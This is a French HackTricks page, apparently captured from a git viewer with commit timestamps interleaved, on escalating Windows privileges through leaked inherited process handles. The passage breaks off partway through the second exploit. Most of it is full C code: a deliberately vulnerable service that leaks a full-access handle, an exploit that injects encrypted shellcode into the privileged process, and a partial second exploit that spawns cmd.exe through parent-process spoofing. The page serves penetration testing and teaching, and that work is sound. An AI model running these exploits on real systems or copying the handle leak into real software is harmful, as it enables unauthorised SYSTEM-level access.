hacktricks/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md

718 lines
30 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Exploitation de fuite de poignée
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2022-07-11 08:44:04 +00:00
## Introduction
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Les poignées dans un processus permettent d'**accéder** à différentes **ressources Windows** :
2022-03-21 11:02:30 +00:00
2022-07-11 08:44:04 +00:00
![](<../../.gitbook/assets/image (663) (1).png>)
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Il y a déjà eu plusieurs cas d'**élévation de privilèges** où un **processus privilégié** avec des **poignées ouvertes et héritables** a **exécuté** un **processus non privilégié** en lui donnant **accès à toutes ces poignées**.
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Par exemple, imaginez qu'un **processus s'exécutant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec des privilèges bas mais héritant de toutes les poignées ouvertes du processus principal**.\
Ensuite, si vous avez **un accès complet au processus à privilèges bas**, vous pouvez saisir la **poignée ouverte du processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.
2023-06-03 13:10:46 +00:00
## **Poignées intéressantes**
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
### **Processus**
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Comme vous l'avez lu dans l'exemple initial, si un **processus non privilégié hérite d'une poignée de processus** d'un **processus privilégié** avec des autorisations suffisantes, il sera en mesure d'exécuter **du code arbitraire dessus**.
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Dans [**cet excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) vous pouvez voir comment exploiter toute poignée de processus qui a l'une des autorisations suivantes :
2022-03-21 11:02:30 +00:00
* PROCESS\_ALL\_ACCESS
* PROCESS\_CREATE\_PROCESS
* PROCESS\_CREATE\_THREAD
* PROCESS\_DUP\_HANDLE
* PROCESS\_VM\_WRITE
2022-07-11 08:44:04 +00:00
### Thread
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Comme pour les poignées de processus, si un **processus non privilégié hérite d'une poignée de thread** d'un **processus privilégié** avec des autorisations suffisantes, il sera en mesure d'exécuter **du code arbitraire dessus**.
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Dans [**cet excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) vous pouvez également voir comment exploiter toute poignée de processus qui a l'une des autorisations suivantes :
2022-03-21 11:02:30 +00:00
* THREAD\_ALL\_ACCESS
* THREAD\_DIRECT\_IMPERSONATION
* THREAD\_SET\_CONTEXT
2023-06-03 13:10:46 +00:00
### Poignées de fichiers, de clés et de sections
2022-03-21 11:02:30 +00:00
2023-06-03 13:10:46 +00:00
Si un **processus non privilégié hérite** d'une **poignée** avec des **autorisations d'écriture équivalentes** sur un **fichier ou un registre privilégié**, il sera en mesure de **remplacer** le fichier/registre (et avec beaucoup de **chance**, **d'escalader les privilèges**).
2023-06-03 13:10:46 +00:00
Les **poignées de section** sont similaires aux poignées de fichiers, le nom commun de ces types d'objets est **"File Mapping"** (https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Ils sont utilisés pour travailler avec des **gros fichiers sans garder tout** le fichier en mémoire. Cela rend l'exploitation "similaire" à l'exploitation d'une poignée de fichier.
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
## Comment voir les poignées des processus
2022-03-21 17:37:28 +00:00
2022-07-11 08:44:04 +00:00
### Process Hacker
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
[**Process Hacker**](https://github.com/processhacker/processhacker) est un outil que vous pouvez télécharger gratuitement. Il a plusieurs options incroyables pour inspecter les processus et l'une d'entre elles est la **capacité à voir les poignées de chaque processus**.
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
Notez que pour **voir toutes les poignées de tous les processus, le privilège SeDebugPrivilege est nécessaire** (vous devez donc exécuter Process Hacker en tant qu'administrateur).
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
Pour voir les poignées d'un processus, cliquez avec le bouton droit sur le processus et sélectionnez Handles :
2022-03-21 17:37:28 +00:00
2022-04-28 14:00:21 +00:00
![](<../../.gitbook/assets/image (651) (1).png>)
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez ensuite cliquer avec le bouton droit sur la poignée et **vérifier les autorisations** :
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (628).png>)
2022-07-11 08:44:04 +00:00
### Sysinternals Handles
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
Le binaire [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)de Sysinternals listera également les poignées par processus dans la console :
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (654).png>)
2022-07-11 08:44:04 +00:00
### LeakedHandlesFinder
2022-03-21 17:38:42 +00:00
2023-06-03 13:10:46 +00:00
[**Cet outil**](https://github.com/lab52io/LeakedHandlesFinder) vous permet de **surveiller** les **poignées** qui fuient et même de les **exploiter automatiquement** pour escalader les privilèges.
2022-03-21 17:38:42 +00:00
2023-06-03 13:10:46 +00:00
### Méthodologie
2022-03-21 17:37:28 +00:00
2023-06-03 13:10:46 +00:00
Maintenant que vous savez comment trouver les poignées des processus, vous devez vérifier si un **processus non privilégié a accès à des poignées privilégiées**. Dans ce cas, l'utilisateur du processus pourrait être en mesure d'obtenir la poignée et de l'utiliser pour escalader les privilèges.
2022-03-21 17:37:28 +00:00
{% hint style="warning" %}
2023-06-03 13:10:46 +00:00
Il a été mentionné précédemment que vous avez besoin du privilège SeDebugPrivilege pour accéder à toutes les poignées. Mais un **utilisateur peut toujours accéder aux poignées de ses processus**, il peut donc être utile si vous voulez privesc juste à partir de cet utilisateur pour **exécuter les outils avec les autorisations régulières de l'utilisateur**.
2022-03-21 17:37:28 +00:00
```bash
handle64.exe /a | findstr /r /i "process thread file key pid:"
```
{% endhint %}
2023-06-03 13:10:46 +00:00
## Exemple vulnérable
2023-06-03 13:10:46 +00:00
Par exemple, le code suivant appartient à un **service Windows** qui serait vulnérable. Le code vulnérable de ce binaire de service est situé à l'intérieur de la fonction **`Exploit`**. Cette fonction commence par **créer un nouveau processus de poignée avec un accès complet**. Ensuite, elle **crée un processus à faible privilège** (en copiant le jeton à faible privilège de _explorer.exe_) exécutant _C:\users\username\desktop\client.exe_. La **vulnérabilité réside dans le fait qu'elle crée le processus à faible privilège avec `bInheritHandles` comme `TRUE`**.
2023-06-03 13:10:46 +00:00
Par conséquent, ce processus à faible privilège est capable de saisir la poignée du processus à haut privilège créé en premier et d'injecter et d'exécuter un shellcode (voir la section suivante).
```c
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
2022-03-13 15:41:22 +00:00
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
2022-03-13 15:41:22 +00:00
HANDLE hUserToken;
HANDLE hUserProc;
2022-03-13 15:41:22 +00:00
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
2022-03-13 15:41:22 +00:00
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
```
2023-06-03 13:10:46 +00:00
### Exemple d'exploitation 1
{% hint style="info" %}
2023-06-03 13:10:46 +00:00
Dans un scénario réel, vous ne pourrez probablement pas **contrôler le binaire** qui sera exécuté par le code vulnérable (_C:\users\username\desktop\client.exe_ dans ce cas). Vous allez probablement **compromettre un processus et vous devrez vérifier si vous pouvez accéder à une poignée vulnérable de tout processus privilégié**.
{% endhint %}
2023-06-03 13:10:46 +00:00
Dans cet exemple, vous pouvez trouver le code d'une possible exploitation pour _C:\users\username\desktop\client.exe_.\
La partie la plus intéressante de ce code se trouve dans `GetVulnProcHandle`. Cette fonction va **commencer à récupérer toutes les poignées**, puis elle va **vérifier si l'une d'entre elles appartient au même PID** et si la poignée appartient à un **processus**. Si toutes ces exigences sont remplies (une poignée de processus ouverte accessible est trouvée), elle essaie d'**injecter et d'exécuter un shellcode en abusant de la poignée du processus**.\
L'injection du shellcode est effectuée à l'intérieur de la fonction **`Inject`** et elle va simplement **écrire le shellcode à l'intérieur du processus privilégié et créer un thread à l'intérieur du même processus** pour exécuter le shellcode).
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("My PID: %d\n", GetCurrentProcessId());
getchar();
// find a leaked handle to a process
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();
return 0;
}
```
2023-06-03 13:10:46 +00:00
### Exemple d'exploitation 2
{% hint style="info" %}
2023-06-03 13:10:46 +00:00
Dans un scénario réel, vous ne pourrez probablement pas **contrôler le binaire** qui sera exécuté par le code vulnérable (_C:\users\username\desktop\client.exe_ dans ce cas). Vous allez probablement **compromettre un processus et vous devrez vérifier si vous pouvez accéder à une poignée vulnérable de tout processus privilégié**.
{% endhint %}
2023-06-03 13:10:46 +00:00
Dans cet exemple, **au lieu d'exploiter la poignée ouverte pour injecter** et exécuter un shellcode, **le jeton du processus de poignée ouverte privilégié sera utilisé pour en créer un nouveau**. Cela est fait dans les lignes de 138 à 148.
2023-06-03 13:10:46 +00:00
Notez comment la **fonction `UpdateProcThreadAttribute`** est utilisée avec l'**attribut `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` et la poignée du processus ouvert privilégié**. Cela signifie que le **thread de processus créé exécutant \_cmd.exe**\_\*\* aura le même privilège de jeton que le processus de poignée ouverte**.
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
